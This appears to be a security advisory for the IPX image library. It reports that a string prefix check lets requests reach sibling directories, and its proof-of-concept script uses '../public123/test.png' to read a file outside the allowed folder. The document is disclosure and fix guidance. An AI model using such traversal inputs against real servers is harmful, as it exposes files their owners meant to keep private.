IPX Allows Path Traversal via Prefix Matching Bypass

### Summary The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. ### PoC - setup ``` mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx ``` - `main.js` ```js import { createIPX, ipxFSStorage } from "ipx"; const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), }); (async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: } } })() ``` - `node main.js` ``` png Forbidden path: /../publi123/test.png ``` ### Impact Path Traversal ### Possible Fix Check if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`

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